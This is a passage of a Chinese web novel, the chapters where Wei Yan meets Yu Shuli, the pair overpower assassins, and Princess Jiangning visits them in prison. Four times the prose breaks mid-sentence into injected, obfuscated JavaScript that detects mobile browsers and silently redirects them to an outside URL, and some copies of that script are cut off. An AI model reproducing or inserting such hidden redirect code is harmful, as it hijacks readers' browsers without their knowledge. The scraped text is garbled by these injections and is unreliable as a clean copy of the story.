他按了按自己干瘪的肚子,看向眼前一边哭一边还在不停吃东西的少年,揣测他和自己一样,有什么不太好的遭遇,心中便泛起一些同情。“你怎么了?被人欺负了吗?”他脸上那个巴掌印实在恐怖的很。 小少年似乎不想搭理他,挪了挪身子,不过倒是脚步停了下来,没有走开,莫名其妙看了他一眼。 魏延明白这是他嫌自己多管闲事的意思,忙躬身行礼:“抱歉。” “喂,你这人,是不是天生瞧不起自己啊?动不动就道歉。”小少年终于停下了罪恶的进食,抬眸看他:“你都没做错什么,为什么总要这样卑躬屈膝地道歉?你是天生喜欢讨好别人吗?” 他的语气气冲冲,魏延却没有感觉到他的冒犯。 相反,这是他第一次得到尊重——在一个陌生人身上。 魏延点点头,觉得对方说的确实对,他笑容不及眼底:“是,我喜欢讨好别人。”就想转身离开。 然后两人就听到他的肚子发出“咕噜咕噜”的声音。 少年抬眸,眼睫上挂着的泪珠掉落下来。他睁大了圆圆的眼睛,似乎有些不可置信。 “你和我搭讪,就是看上了我的油饼?” 魏延本想着潇洒离开,现在尴尬的有口难辩。 他想说不是,但是对面的少年一副“真拿你没办法”的表情,手快地已经分了半个饼给他。 魏延盯着那只举着半个饼伸过来的油乎乎的手,头一回没有洁癖爆发,慢吞吞接过之后,轻轻觑了一眼少年。 见他没有开玩笑的样子,这下才放心地狼吞虎咽起来。 半个饼实在抵不了什么,也算不上什么珍馐美味。 但魏延觉得,这是他十几年来吃过的,最好吃的东西。 两人都没有开口,互相意犹未尽地吃完东西。 少年毫不做作地把油乎乎的手往身上那身漂亮的衣衫上抹了抹,这才再次伸出手过来。“我叫俞书礼,你叫什么?” 魏延看着那双漂亮的手,手指蹭了蹭,不敢再伸上前。 眼前人,不是普通人。 他早该明白的。 举国无人不知,俞将军有一个宝贝儿子,就叫俞书礼。近日受皇帝特封,进京常住。 少年倒是不介意,他一直举着手,仿佛魏延不伸手,他就不收回去一样。 片刻之后,魏延败下阵来。他学着俞书礼的样子,用力在衣衫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961472|161061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上蹭干净了油,这才把手伸了出去。 手心仓促的交汇,他低声道:“我叫魏延。”又火速把手收了回来。 “哦,魏延。”俞书礼点点头:“好了,饼吃完了,你快回家吧,家里人该着急了。” 魏延“嗯”了一声,却见他没动作,便小心问:“你呢?” 俞书礼“哼”了一声,“我才不回去,我同我老爹吵架了。” 魏延羡慕地道:“真好……” 俞书礼瞪他:“你有毛病吧?吵架还好?” 魏延心道,这个俞小公子,脾气倒是大的很,他温柔笑笑:“当然好,我连父亲都没有了,羡慕像你这样,还能和父亲吵架的样子。” 俞书礼一愣,片刻后挠了挠头,声音软了些:“抱歉啊,我不知道。” “嗯……没事。”魏延道:“你该回家的,你家里人会着急。” 两人吃完了饼,现在暮色降临,天色已晚。 这条街道不是热街,几乎已经没有了行人,自然也没有什么火烛亮光。 “那你呢?”俞书礼反问:“这么晚了,你在外头乱晃,你家里人不着急吗?” “我……”魏延和俞书礼相处后,本来已经短暂忘记了家中那些痛苦的事情,经由他这样一提醒,又无可避免再次想了起来。 但也许是突然受到了陌生人的好意,魏延这次振作了起来。 他匆忙和俞书礼告别:“我还有事,暂时还不回去呢。” 俞书礼看他长得实在好看,又一副温文尔雅的模样,担心他一个人不安全。所幸他本来也不打算回家,就追上去说:“我陪你吧?你有什么事情?” “不用。”魏延冷硬地拒绝。 他有些莫名的别扭,似乎不太想要眼前这个金尊玉贵的小公子知道他家境不好的情况。 谁知俞书礼特别热情:“用的,用的,男孩子在外头也要保护自己啊,我瞧你这样瘦弱,你不会武吧?” 魏延其实是会的。 但他在月色下瞥见了俞书礼那一丝担忧的眼神,说出口的话瞬间变成了:“不会。” 18. 遇劫匪 “那就行了,我本事大的很,我保护你。”俞书礼十分自来熟地揽住魏延的肩膀:“你说说看,什么事情,说不定我可以帮你呢。” 他道:“我刚来京城,还没有朋友呢,正想和人交朋友。” 魏延手指抖了抖,似乎是不适应俞书礼这般亲近,他推开了他,走的快了些:“我不交朋友。” “为什么?”俞书礼莫名其妙:“人都需要朋友。” “我不需要。”魏延的语气更冷了。 俞书礼敏感地察觉到了他的不对劲,他追上去,试探问:“你的朋友们对你不好?” “没有。他们只是做了他们该做的。”魏延的话很清醒也很冷静。 权衡利弊,如果是他,他也会这样做。 但他突然转头,对上了俞书礼打量和好奇的视线后,却也天真地想,如果他的朋友是俞书礼的话,他是不是有可能会帮自己? 毕竟连一个陌生人,他都愿意分半个饼给他,还愿意大晚上陪一个陌生人办事。 他实在过分善良。 但他不应该滥用这份善良的。 “俞书礼,天色晚了,回去吧。我一个人可以。” 魏延的情绪明显不对劲,被拒绝两次的俞书礼想了想,还是追了上去。 见他再次跟过来,魏延皱了皱眉:“你怎么还跟着我?” 俞书礼挑眉:“你说你不需要朋友,你介意多个哥哥吗?”他打量着魏延:“我瞧着,你应当比我小些?” 京中对俞将军的吹嘘,导致了京中对这位将军的事迹人尽皆知,自然包括他的宝贝儿子的出生这一重要事件。 魏延沉声:“我比你大三岁。” 俞书礼惊讶地睁大眼睛:“一点瞧不出来!”他拉住魏延:“你这哪里有十五岁的样子!这样瘦弱。” 被人如此直言说瘦弱,魏延黑了脸:“是因为生病。”他又欲盖弥彰补充道:“我会变得高大的。” “啊!竟是病了?那有好好治疗吗?”俞书礼有些关心:“生病可难受了,你现在好些了吗?” “好多了。”常年的寄人篱下,如今本该重新开始的人生,却也被母亲的病症拖垮,魏延其实并没有多好,只是逞强惯了。 “那就好。”俞书礼松了口气:“还好我陪着你一起,要不然这大晚上的,你若是遇到打劫的欺负你,这可怎么办?” “不会遇到劫匪的。”京城哪有那么多劫匪?况且怎么会来打劫他这种穷人? 俞书礼摇头:“你的戒心太低了,这样很容易被人暗算呀。”他做出一副无奈的样子:“还好你有我。” 晚风有些凉,俞书礼那张小脸上有些稚嫩的成熟。 魏延心下微动,他的手指搓了搓自己的衣摆,鬼使神差道:“那我们不做朋友……你叫我一声哥哥可好?” 俞书礼一愣,正当魏延以为他会嫌弃的时候,却见他笑的灿烂。“好啊。” “哥哥。”俞书礼明媚的眼睛灿若繁星,就这样直直撞进魏延的眼中。 俞书礼是个热心肠又直心眼的人,但他的所有温柔都恰到好处。 魏延只觉胸腔中溢满暖意,他觉得,上天安排他和俞书礼相遇,一定不是偶然。 是天命。是老天要他振作起来,走出这场阴霾。 他笑了笑:“嗯。” “那我都叫你哥哥了,你可以告诉我,你要办的究竟是什么事情了吗?”俞书礼清澈的眼睛望过来。 魏延抿了抿唇,不忍心辜负俞书礼关心的目光,竟然就将那些他本来以为自卑和耻辱的事情一一和盘托出了。 说完后,他小心翼翼看向俞书礼:“我知道你家的身份地位,你若是觉得和我这样的人交朋友十分麻烦,我们可以……” “啧……你这个人……”俞书礼一只手伸手拉住他,一只手按在他的唇上:“不是说了,我们不是朋友,只是兄弟?” 魏延只觉得唇上一片滚烫,他下意识躲开,将脚步踏的飞快,去掩饰自己那诡异又不规律的心跳声。 “站住!你是魏延?” 俞书礼见魏延逃的莫名其妙,还没赶上他,却见他身边的巷子里突然冒出来两个蒙面的高大成年男人。 魏延视线略过这两个不速之客,眼中一阵杀意闪过,正要动手,却见俞书礼怒气冲冲走上前来。 一人一拳,再一个快速的反手,就已经把两个劫匪按在了地上。 魏延愣愣地看着,被俞书礼温暖的手拉住:“你没事吧?” 魏延摇了摇头,失笑了片刻,有这位小莽夫在,他哪里来得及出事? 俞书礼按着两个劫匪打,边打边看着魏延,心有余悸:“你看,魏延,我早就说了,这街上就是不安全!” 魏延摇了摇头,指了指皇宫的方向:“天子脚下,确实从未遇到过这种情况。” 这两个人,看起来可不像劫匪。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14961473|161061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 哪有劫匪上来就问人姓名的?劫匪应当都是来者不拒的,哪里会问过姓名后再劫? 俞书礼心有所思,想到了什么,踹了地上的两个蒙面男人一脚:“喂,谁派你们来的?” “没……没别人……”地上两个男人捂着头,挨着揍,倒是嘴硬的很。 魏延一把扯下两人的面罩,他眯了眯眼睛。 “怎么了?是认识的人吗?仇家?”俞书礼看到魏延的表情不对劲,忙问。 “是仇家,我就帮你做掉!”俞书礼做了个拉脖子的动作,把魏延逗得弯了弯唇角。 魏延放松了捏紧的指节,笑道:“不是仇家,不认识。” “那……怎么处理?”俞书礼有些迟疑。 魏延视线在底下两张狼狈的脸上划过,表情有些冷漠:“不是什么重要的人,杀了也无妨。” 俞书礼点头,对他的决定不置可否。“行,我来动手,我很专业的。” 脚下两人闻言,开始害怕的不停挣扎。 “别杀我!别杀我!我都说!” “你是傻子吗?听不出来他们是在试探我们吗?!” 两个劫匪竟然还起了内讧。 “哦?看来还有内情?”俞书礼一笑,“我们边关审讯啊,可不像你们京城,讲什么礼啊,节啊。那老虎凳一放,几十根生了锈的铁针往指甲缝里这么一戳,诶呦喂,疼的那是欲仙又欲死……然后啊,就是破伤风感染,最后浑身抽搐,口吐白沫,在窒息无力中死去。啊……最关键的是,你们全程,都会保持清醒哦。” 这话说完,本来那个嘴硬的也不再嘴硬。 两人哆哆嗦嗦看向俞书礼,恳求道:“我们都说……能不能……放我们走?” 俞书礼挑眉,看向魏延,示意他拿主意。 魏延表情生冷。“说。” 两人立马磕头交代:“是……是浔阳侯派的我们来杀魏公子……我们也是实在没有办法。” 俞书礼一皱眉头:“浔阳侯?”他看向魏延:“你还得罪了浔阳侯?” 原来不是劫匪,是刺客啊。 俞书礼若有所思。 魏延正待解释,谁知刺客比他开口还快:“是因为江宁郡主……江宁郡主前日对魏公子示爱,浔阳侯知道后,恼怒非常,这才派人处理后患。”说完还谄媚地对着俞书礼笑:“现在我们都交代了,能不能看在我们还没来得及动手的份上,放过我们?” 19. 假旧爱 大概是因为我长得比你好吧。 江宁越过侍卫和狱中牢头,直挺挺走到了牢狱中来。 稽刑司也能来去自如?这个江宁郡主…… 俞书礼抿了抿唇,看向魏延,脸色不大好看。 “怎么了?”魏延拉住他的手,小心地问。 “你同我在一起了,江宁怎么办?”俞书礼别开眼,茶言茶语道:“魏延,以前我不问你们的旧事,是因为你我是兄弟,关注兄弟的感情生活到底是有些逾矩,但现在不同了……”他的小脸突然严肃了些,还甩开了魏延的手,“反正你自己解决。” 陈黎是个心大的,见那身姿曼妙的女子走来,吹了声哨,露出吃瓜的表情,笑道:“还有这一出?三角恋?” 魏延失笑。 他看向俞书礼:“你误会了,我同江宁没什么。” 俞书礼瞪大眼睛:“你别睁眼说瞎话,她都亲自同我说的,能有假?” 魏延皱眉:“说什么?” “说她是你旧爱啊什么的,你们是爱而不得,被迫拆散之类的……” 魏延一惊:“什么时候?” 俞书礼回想道:“应该是天元十二年的时候。” 魏延脸色生冷。 天元十二年,他刚及冠。 “我及冠礼那日,你突然消失……是因为她?” 俞书礼点了点头。 魏延语气坚定:“我和她从无私情,我一点也不喜欢她。” 俞书礼却也懒得追问了,男人这种动物,本来就谎话连篇。 “喏,反正人来了,你自己问。我要睡觉了,别打扰我。”俞书礼对着脚步袅娜、粉妆玉琢的江宁没什么好感,他挪开了身子,把地上的稻草叠了叠,直接窝进角落睡觉去了。 魏延见他直接睡了,只能欲言又止。 偏生那江宁还十分没有眼力见,她见了魏延,面上欢喜,一路小跑过来,隔着栏杆到了跟前,“仙卿哥哥,你没事吧?” 隔壁的陈黎抖了抖鸡皮疙瘩,干脆也不看戏了,往俞书礼对面的稻草堆上就这么一躺,也去会周公了。 角落里也酸溜溜地传来了一声冷哼。 魏延:…… 他看向江宁,本就冷漠的眼眸更加深邃了些,一点好脸色也无:“江宁郡主来牢狱作甚?” 江宁的身子抖了抖,瞬间从喜悦演变到潸然欲泣:“仙卿哥哥,我担心你呀。” “郡主慎言,本相与郡主并无干系。” 江宁瞪大了眼睛,泪珠子水线一样哗哗地流,可谓是一个梨花带雨:“仙卿哥哥,你怎么能这样说?” “对呀,仙卿哥哥,你怎么能对咱们郡主这样呢。”俞书礼在角落里翻了个身,也跟着阴阳怪气。 魏延唇边漫出一点笑意,回应他:“那同我有什么关系。” 江宁本来没注意到角落处还有一个人,闻言抖了抖,哆哆嗦嗦问:“是……是谁在那里?” 角落里的俞书礼黑皴皴一个,分辨不出样貌。他团着身体,声音阴阴恻恻:“是厉鬼……我最喜欢索那些爱说谎的人的命了……尤其是长得漂亮还爱说谎的……” 江宁打了个哭嗝,猛地往后退了两步。 魏延却突然笑出了声,他弯了弯眼睛,转头:“不是说要睡了?”来回插话可不是他俞书礼的性格。 俞书礼“哼”了一声,嫌弃道:“你们太吵了,我睡不着。” 魏延干脆走过来:“我帮你捂着耳朵,你自己睡。” 俞书礼推了推他,脸蛋红了红:“我才不要。” 江宁见魏延直接无视自己,转头和俞书礼去打情骂俏,泪珠子几乎不断,哭的声嘶力竭:“仙卿哥哥,我先救你出来好不好?你别和什么乱七八糟的人混在一起……” “郡主,这里不是你该来的地方。”魏延说完就在俞书礼身边坐下,推了推他:“过去些,我也要睡了。”干脆把江宁口中的“和乱七八糟的人混在一起”的事情做实了。 江宁睁大了眼睛,连假哭都忘记了。 魏延从俞书礼身下挖了些干草出来,衬在身下,然后蹭着俞书礼往里推:“过去些嘛,我有些冷。” 俞书礼被他的长腿一挤,这才气急败坏地爬了起来,一张小脸终于露了出来。“魏延!你他爹的是不是个无赖?我都说了不想搭理你!” 江宁终于在烛火下看到了俞书礼的脸。 她脸色一白:“怎……怎么是你?” 俞书礼嫌魏延晦气,干脆把他往里推,把他埋在干草堆中,见他扑腾着爬不起来,这才笑了笑,微眯着眼睛看过来:“江宁郡主,许久不见。” 魏延任由俞书礼动作,还扬起半边脸,手指勾上他的衣摆,漫不经心地绕着圈,看起来腻歪的厉害。 “你……你怎么也在牢中?”江宁不解为什么俞书礼和魏延能走到一起。 俞书礼挑了挑眉,看来江宁还没了解他们二人的“光荣事迹”? 他戳了戳身边的罪魁祸首:“喏,多亏了他。” 魏延抓住他作乱的手,抬眸看向江宁:“郡主往后还是与本相保持距离,如今本相婚约在身,还是不要产生不必要的误会。” 江宁难掩哭腔:“仙卿哥哥,你怎么会答应成婚呢?你为什么要和他在一起?” 俞书礼打了个哈欠,不想再和她废话:“大概是因为我长得比你好吧。” 他拨开魏延的手,又把他躺下去的稻草都拽出来,铺到一边,离魏延远远的:“我实在是真困了,你们慢聊,我先睡了。” 江宁哪里受过这种气? 她从小到大锦衣玉食,上到陛下下到仆人,个个都夸她貌若天仙,什么时候被人容貌羞辱过?当下气的维持不住那股表面风度。 她沉下了脸色,拍了拍栏杆:“俞书礼,你出来,我们谈谈。” 俞书礼本意倒也不是容貌羞辱,他是实在困了,加上他本来就心下厌恶这样满嘴谎话和心机的女子,所以故意惹她生气罢了。 见江宁还要折腾,他挥了挥手:“不谈。” “你……你竟敢这般对我不敬,我回去就让我父亲砍你的头!”她有些气急败坏了。 俞书礼没什么反应,捂住了耳朵接着睡。 魏延从空落落的地面上爬起来。看了眼裹得严严实实睡下去的俞书礼,心中暗叹一口气。 看来是真的生气了,否则不会连他这个病人都不照顾一点。 魏延走到栏杆前:“郡主,谨言慎行。陛下都不能随意杀人,浔阳侯有什么权利越过稽刑司,随意杀人头?” 江宁看魏延终于搭理自己了,心下一喜:“仙卿哥哥,我让人给你放出来。”她连忙招手示意手下侍卫过来打开监牢门。 而她的手下一副欲言又止的模样,不敢过来。 江宁正要冲手下发火,被魏延打断:“郡主是没听懂本相的话吗?那好……本相再问一遍,是谁给的浔阳侯权利,天子脚下,为所欲为?” 江宁这回听懂了,她身体一抖,手指下意识从栏杆上挪开,喃喃道:“仙卿哥哥,你什么……意思?” “江宁,你是聪明人,不会不明白私闯刑狱,是什么罪责。难道浔阳侯手中的权利,真的可以一手遮天吗?”魏延道:“况且,既然当年浔阳侯不让你同我接触,现在,自然更不会。” 他断然下了结论:“你是私自来的。” “不一样的,魏延……”江宁改了称呼,脸上有一丝羞愧:“那个时候……那个时候我还小,不敢抵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14961474|161061||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抗我父亲……我如今……我如今敢了……魏延……你若是,对我也有意,我们可以私奔的……” 边上听戏的陈黎适时加入:“私奔,好浪漫呀……” “闭嘴。”魏延瞪了陈黎一眼,然后皱紧眉头看向江宁:“郡主,不知道是我做了什么,让你产生了我对你有意的错觉?说出来,我们可以解决这场误会。” “那年元宵节,你送了我一个花灯……”江宁委屈道:“那个小兔子花灯,我至今还留着……” “那不是给你的。”魏延长叹一口气:“若是郡主不怕落了脸面,那臣就直说了。那花灯是臣捡的,后来太子殿下遇难,臣着急去救,这才随手拜托给了附近的人,臣当时压根没记得您是谁,后来自然也就找不回这个花灯了。” 江宁满脸不可置信:“不……我不信,你怎么可能去捡花灯?花灯哪里买不到?需要捡吗?而且,你说你不记得我?怎么可能?我当时穿着打扮就不是寻常女子!” 魏延语气平淡:“为什么不能捡?臣家中买不起,捡一个回去让母亲高兴,不行吗?那些年囊中羞涩的臣,哪有心思儿女情长?每日想见的都是饱仓的米粮,对于京中贵女该穿什么,从不在意。” 江宁有些不可置信,她从来不知道魏延还有家中为难的时候,当下有些无措:“怎么……怎么会买不起呢……” “臣当时的处境,郡主都没好好了解,就仅凭臣这张皮囊,想要同臣接近?真是实在天真。”魏延冷笑:“怪道浔阳侯要替郡主解决后患呢。” “我爹怎么了?” “你爹派人杀他呢。”俞书礼这个时候也坐了起来,他听烦了,把身上堆叠的稻草拨开,说不出来听到魏延刚刚说的那些话,心中是什么滋味。 反正就是……哪哪都不大舒服。 俞书礼心想,要是他那时就在的话,一定会亲手送一个全新的花灯给魏延。 断舍不得让他去捡别人不要的。 魏延就该有最好的。 “杀……杀他?”江宁浑身一抖,几乎支撑不住,她摇摇欲坠地靠在栏杆上,连脏都顾及不到了:“是……什么时候?” “天元七年。” 江宁喃喃:“天元七年……天元七年……”她突然睁大了眼睛,瞪向俞书礼:“所以,在我说我是魏延旧爱的时候,你当时才是那个反应对不对?你从来都没信我!”谁会相信魏延会同一个想要杀他的人的女儿相爱? 俞书礼挑了挑眉,默认了。 他又不傻。 魏延有没有心动哪个女子,他一眼就能看出来。 江宁……连魏延的过客都算不上。 江宁自嘲地笑了一声,似乎失去了所有力气:“所以……你一定觉得我是个笑话吧?让我在心爱的人面前丢脸,你一定也很得意。” 俞书礼摇了摇头:“我不得意,也不觉得你是个笑话。喜欢是种很宝贵的心意,没人有权利嘲笑你。” 江宁心中一阵酸楚。她的手指按住脸,压抑不住自己的哭声。 “江宁,你喜欢人没有错,但不该如此歹毒地害人。”俞书礼抬头:“你以为自己是在摒除一个情敌……可我……压根不需要参战,你已经提前出局了。” 江宁指节紧紧握在一起,握在栏杆上,抠的生疼:“可……可你不是没有上当吗?” 俞书礼瞳仁里有一瞬的恍惚,他沉默了很久。“不,我上当了。” 魏延一时视线都放在俞书礼身上,久久没有说话,闻言也睁大了眼睛。 在场几人心跳声不止,呼吸仿佛都停止了一般。 许久之后,江宁露出一个又是疯狂得逞,又是略有不甘的笑容:“所以……那地方,你还是去了,是吗?” 20. 过冠礼(修) 天元十二年。 魏府门口。 “让开,让开……”一个风风火火的少年捧着一棵套着红布的盆栽,猛地往屋里冲。 几个伺候的下人拦了两下没拦住,被一道声音笑着阻止:“不用拦。” 俞书礼隔着盆栽,看不到人,但听到了魏延的声音。他手指敲了敲盆栽外面的瓷盆,“咚咚”两声之后看向魏延出声的地方:“猜猜我给你带了什么好东西?” 魏延走过来,想要从他手里接过盆栽。“这么大个盆,就不会找个小厮拿着?” 俞书礼避开他的手,“诶……别动,这东西我找大师算过的,得一步到位。”他喊道:“快带我去你卧房。” 魏延叹了口气,只能迎他进去。 初冬的风有些萧瑟,此时的魏府还没有修缮,廊道走到魏延的房间,需要吹很长一段的穿堂风。 魏延侧头看了眼俞书礼有些发白的小脸,把身上的外袍脱下,往俞书礼身上遮。 俞书礼手腾不出来,躲不开,只好发话:“喂……你脱给我做什么?我这一路进来可热了!你还是自己仔细穿着,再生病了可怎么是好?” 魏延仗着自己手里没拿东西,不仅不拿回衣服,还走的飞快,笑道:“正是你正出汗发热才不能轻易着凉。我过个冠礼,把你过生病了,到底我心里也过意不去。” 俞书礼嘟囔:“我才不会那么容易生病,我身体可壮实了。” 魏延附和着说:“行,你最壮实。”却还是没拿回那件外袍。 俞书礼感受着身上那件薄薄的棉布外袍,最后抿了抿唇,没有再推脱,只是走的更快了。 到了屋内,魏延赶紧把炭火点了。 俞书礼把那盆神秘的盆栽按照所谓的大师的说法摆好,然后取下魏延的外袍还给他,监督着他穿好。 微醺的烟呛的俞书礼扶着桌子微微咳嗽,他转头看了一眼紧闭的窗户,干脆把窗户打开了透气。 魏延把热茶倒好,转头要递给俞书礼的时候,却看到他打开了窗子,正盯着窗外发呆。 “是……炭火太呛鼻了吗?” 俞书礼回头,没有错过魏延脸上一瞬间的无措和自卑。 他不由得有些心疼。 魏延……那般骄傲的一个人。 他脸上不应该有这种表情的。 魏延没有条件买好的炭火,这些劣质的木炭总是会有些许气味。而俞书礼从小娇生惯养,用的应该都是上好的银丝炭,恐怕是闻不惯的。 魏延勉强地笑笑:“不若我带你去我母亲房中,她那里日常燃的都是银丝炭。” 俞书礼回头,按住他的手,宽慰道:“你想多了,我不是在介意这个。” 他指了指窗外:“我只是觉得,你这院外荒芜的很,冬日里看着挺没生机的。” 魏延顺着他的视线一看,果然见到四下里光秃秃一片。 “一个盆栽果然不够。”俞书礼嘟囔道:“你说,要是在这里安个亭子,然后种一片红枫林,行不行?这样到了秋天,满地红枫,踩着玩都很好玩,冬日里就算叶子没了,光树杈子也弥补了你这一大片荒地的空缺。”他回头对着魏延咕咕叨叨,却发现魏延的视线看着不是自己手指的荒地,而是自己的脸。 俞书礼摸了摸脸:“我脸上有什么吗?” 魏延这才像是骤然回过神一般,耳根红了红,摇了摇头。 “我走神了,你说到哪里了?” “我说,在这里种一片红枫林……” “好……”魏延突然道,“就听你的。” “好什么好,我的想法你都没听到。”俞书礼甩了甩手:“算了,我也就是随便说说。这种红枫林又耗时间又耗成本,你平日里又忙,也没时间观赏,纯粹是美丽废物。” 屋里的炭火“哔啵”一声,俞书礼把窗户关上,阻止热气外流。 他见魏延还盯着外头发呆,笑道:“怎么了?不会真想着种林子呢吧?我就是随口一说。你魏大学子的志向可是宫廷内阁,哪里能在这种花花草草上费时间?” 俞书礼回头揭开红布,拍了拍那棵自己带回来的植物,邀功一样看向魏延:“你知道这是什么吗?” 魏延顺着他的视线往下看。 这棵树上密布的是翠绿的掌状复叶,叶面四散分开,又向顶端收拢,枝叶繁茂,外形不似京城里的常见植物。 饶是魏延再博学多才,也分辨不出来。 俞书礼“嘻嘻”一笑:“认不得吧?这叫发财树,是番邦进贡来的,当年陛下赏给我爹的,我老爹不会养,差点养死了,都是我接手之后养成了现在这样。” 他拍了拍魏延的肩膀:“我知道你这人吧,自尊心强,肯定不会接受我钱财的接济。但这东西是我自己养的,不要钱,你只要保证不把它养死了,那你以后就能飞黄腾达。” “什么神神叨叨的东西,这树瞧着也就普通,怎么会有这种用。”魏延心中感触颇深,面上却不显:“发财树不会是你自己取的名字吧?” 俞书礼拧了他腰一把,瞪他一眼:“不解风情!这是人家当地的特色,是美好的祝愿和祈祷!我养了这么久,还找大师开过光,它一定可以保佑你从此之后顺风顺水的!” “好。”魏延笑:“你都这么说了,我往后定能高中状元。” “那是!”俞书礼骄傲地叉腰:“到时候我逢人就能吹牛,我有个状元哥哥。” 魏延目光柔和:“嗯,等我高中,到时……”魏延脑中突然一懵……到时要怎样呢? 一股从未有过的冲动萌芽,他僵硬地看着俞书礼,心跳声大到无法忽视。 “到时怎么?”俞书礼眨了眨眼睛,好奇地问。 魏延长呼一口气,咬着牙恶狠狠道:“到时候把你绑在我府中做苦力!” 俞书礼“切”了一声,“等你权倾天下,我就是你的大恩人,你不好吃好喝伺候就算了,还要让我做苦力?你这真是一点都不知恩图报。” 魏延点头:“是,我不知好歹。” 俞书礼抬眸看他,看到他眼里清晰的笑意,这才发现他是在开玩笑。 俞书礼“哼”了一声,又突然停住,上下打量着魏延:“魏仙卿,你是不是背着我偷偷长高了?” “什么叫背着你偷偷长高了?”魏延捏了捏他鼓囊囊的脸蛋:“这还要多谢某人投喂,时不时带着那些犄角旮旯里的美食来同我分享,把我养胖了。” 俞书礼摇头:“胖没看出来,高的很明显。”他叹了口气,语气颇有些遗憾:“怎么我就没长高呢?” “快了,等你及冠,就同我一样高了。” “我其实也不是很想长高。”俞书礼坐了下来,手掌撑着下巴,看向魏延:“长高意味着长大,会有很多身不由己。” 魏延敏锐地察觉到他今日的情绪不对,忙问:“怎么了?” “父亲张罗着给我说亲呢。”俞书礼道:“我才多大呀,这就给我安排姑娘了,这京城的姑娘我看着是一个比一个娇气,我脾气又大,说两句他们就得哭,将来怎么过到一起去?你说对吗?” 魏延突然就沉默了。 俞书礼侧头看过来:“魏延?” “……嗯。”魏延挤出一个笑容。 “你就没有说亲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞书礼眼瞳大睁,后退了两步,下意识想骂魏延:“你变态吧?”又突然想到这是魏延在问他“若是”这种情况,也就是魏延拿自己做个比较罢了。 是他自己大惊小怪了。 想到这里,俞书礼松了口气,哥俩好地拍了拍他的肩膀,笑道:“是你的话当然可以!” 他声音清晰:“当年在街头,我可是一眼看中了你的!” 魏延心头剧烈地跳了两下。 随后意识到俞书礼并不是那个意思,便抿了抿唇,说不出那股骤然坠下的失落是什么感觉,只能失笑摇头,拆穿他: “看中我,是想要收我做小弟吧?” 俞书礼“嘻”了一声,吐了吐舌头:“那我后来不是也叫了你哥哥了么?扯平了呀。咱们做哥哥的,能别这样计较么?” 魏延在唇齿间复述“哥哥”二字,只觉得黏腻的紧。 但要俞书礼开窍,果然还是太早了。 只是魏延他忍了这么多年,有些不想忍了。 “你是不是还没有祝我生辰快乐?”清冷的眼眸似笑非笑。 俞书礼站直,认真问:“你想我怎么祝?”他抬手发誓:“一定服务到位。” 两人四目相对。 一股药香味钻入鼻腔,俞书礼被拉入一个有力的怀抱。 魏延的下巴摩挲在他的发丝上,让俞书礼的头顶有些发痒。 两人的心跳声有些微妙的同步。 魏延的声音掷地有声:“这样就够了。”